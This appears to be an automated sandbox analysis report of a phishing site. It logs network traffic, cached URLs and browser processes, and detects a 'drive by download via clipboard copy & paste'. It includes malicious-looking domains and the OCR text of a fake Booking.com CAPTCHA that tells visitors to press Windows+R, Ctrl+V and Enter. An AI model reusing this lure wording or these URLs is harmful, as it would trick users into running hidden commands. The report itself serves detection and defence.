Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://admin.recaptcha-extranet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://admin.recaptcha-extranet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/captcha HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: rinderynitvye.blogspot.com
Source: global traffic	DNS traffic detected: DNS query: enterawesome.com
Source: global traffic	DNS traffic detected: DNS query: admin.recaptcha-extranet.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: cf.bstatic.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=NyKY0B0Jiov0A3gUHYIYqMHvCUstnac3jQai5x%2FL4jDr2WVBbPz9OA0aRfd%2BlIUEY2uAEXzmTCMfkWjEUa%2F9P23GCZMaKcDyMNHcs6H5UCCuu8E%2FutcotUcP0PNBCduqhXTnmy0TTKDS152wIwE2 HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 445Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 09 Jan 2025 04:14:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 100Connection: closeLast-Modified: Wed, 08 Jan 2025 14:43:18 GMTETag: "64-62b32e1e58e74"Accept-Ranges: bytes
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 09 Jan 2025 04:14:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 100Connection: closeLast-Modified: Wed, 08 Jan 2025 14:43:18 GMTETag: "64-62b32e1e58e74"Accept-Ranges: bytes
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 04:14:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 04:14:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=27KOg%2B2LR8ddFHfO7%2BnWja0T5%2F%2FMPNLv0bwe00u5AhepkGl3Pb5Ou1MMHYdy5DwnEUqnZZLfdRV0Y8I8O7F6Hstn1Pgm1pvnBMXELl%2B%2BhhpnNXXcEL1EJCpx6bia%2B1N0tZ9DYnW9WGwIftHDGRCa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff199478f60f3bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1667&rtt_var=635&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1484&delivery_rate=1708601&cwnd=82&unsent_bytes=0&cid=e3efc927eb942aa3&ts=335&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:09 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: qLfe0bVdHoHDP6xB8XbekP4KNzS4zqs31BU=$oOkIJufMcL/BpDMAReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EgxKlXGjnAjdckX2qLO%2BOh2UZm920uYUYMIw6iX4pHSN3xZ3Y2fGiyJrzEDXxSdJbuJUQnaqt%2FAWF76z6B3QNzWVbu0XBSr9JA4lRlzvwsK3YrkfXI65ZUEQvoybEREleU7OBPq6Jc8vucEFdhoo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff1994debd34263-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2465&min_rtt=2457&rtt_var=938&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2862&recv_bytes=1179&delivery_rate=1156893&cwnd=247&unsent_bytes=0&cid=c326936a7300bf32&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:11 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 8tFckBY9yG+nn+FnYeWYePUuXCWzBUF4zBw=$qDDC8sPdxHVgXxt7Server: cloudflareCF-RAY: 8ff1995afb237d00-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:14 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: m4O2jCFC3FzchwDjyvvMANPV9o2uSlOqchE=$ipN8Dtwt43nMjOkTServer: cloudflareCF-RAY: 8ff1996ebe054243-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:29 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: sCdJ6y08hqDiBv6rT76D0IDCkNXzcwWv828=$6BAuFVBKyEmC6AZdServer: cloudflareCF-RAY: 8ff199cab85842b3-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 04:14:31 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: o68yCH9IW0sf15APEfDp7/AODbuJf0SZGS8=$jQ+jIjKiDUX25lVqReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2BlNlBBglvwodxSGo9pFPqZJWwWs9sbwCjsGgCCzufFcMNPZJnzs2t6vdo6FRdFAAyrphu3o%2BKTPqGp7aC6PY3%2BhVB10tQ6JCKu%2FcrB9JiTxxbniXjWZIKkUI6rYBQaGviNe65FbgJZMuOTt3OAJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff199d4ce8b423f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1727&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2861&recv_bytes=1179&delivery_rate=1595628&cwnd=237&unsent_bytes=0&cid=2757a51025e11e9e&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 04:14:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge

Source: chromecache_87.1.dr	String found in binary or memory: http://www.offset.com/photos/394244
Source: chromecache_87.1.dr	String found in binary or memory: http://www.offset.com/photos/394244)
Source: chromecache_76.1.dr, chromecache_85.1.dr	String found in binary or memory: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv
Source: chromecache_88.1.dr	String found in binary or memory: https://cf.bstatic.com/static/img/apple-touch-icon/5db9fd30d96b1796883ee94be7dddce50b73bb38.png
Source: chromecache_88.1.dr	String found in binary or memory: https://cf.bstatic.com/static/img/favicon/40749a316c45e239a7149b6711ea4c48d10f8d89.ico
Source: chromecache_88.1.dr	String found in binary or memory: https://cf.bstatic.com/static/img/favicon/4a3b40c4059be39cbf1ebaa5f97dbb7d150926b9.png
Source: chromecache_88.1.dr	String found in binary or memory: https://cf.bstatic.com/static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg
Source: chromecache_87.1.dr	String found in binary or memory: https://enterawesome.com/zse8l
Source: chromecache_88.1.dr	String found in binary or memory: https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Source: chromecache_88.1.dr	String found in binary or memory: https://recaptcha-process.com/recaptcha-verify.html
Source: chromecache_87.1.dr	String found in binary or memory: https://resources.blogblog.com/blogblog/data/res/951766272-indie_compiled.js
Source: chromecache_87.1.dr	String found in binary or memory: https://rinderynitvye.blogspot.com/
Source: chromecache_87.1.dr	String found in binary or memory: https://rinderynitvye.blogspot.com/favicon.ico
Source: chromecache_87.1.dr	String found in binary or memory: https://rinderynitvye.blogspot.com/feeds/posts/default
Source: chromecache_87.1.dr	String found in binary or memory: https://rinderynitvye.blogspot.com/feeds/posts/default?alt=rss
Source: chromecache_87.1.dr	String found in binary or memory: https://rinderynitvye.blogspot.com/search
Source: chromecache_87.1.dr	String found in binary or memory: https://themes.googleusercontent.com/image?id=L1lcAxxz0CLgsDzixEprHJ2F38TyEjCyE3RSAjynQDks0lT1BDc1Ox
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogblog.com/indie/mspin_black_large.svg)
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogblog.com/indie/mspin_white_large.svg)
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/feeds/2693032391783388479/posts/default
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/go/report-abuse
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/profile/15799586855510303153
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/1596418130-lbx.js
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/static/v1/v-css/1964470060-lightbox_bundle.css
Source: chromecache_87.1.dr	String found in binary or memory: https://www.blogger.com/static/v1/widgets/3100690138-widgets.js
Source: chromecache_87.1.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/clipboardjs/clipboard.min.js
Source: chromecache_88.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/api2/logo_48.png

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: classification engine

Classification label: mal84.phis.win@23/36@30/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,12208104453667308307,62760475673226430,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://rinderynitvye.blogspot.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,12208104453667308307,62760475673226430,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 4.6	OCR Text: Booking.com Robot or human? Check the box to confirm that you're human. Thank You! I'm not a robot reCAPTCHA Verification Steps 1. Press Windows Button "Windows" + R 2. Press CTRL + V 3. Press Enter
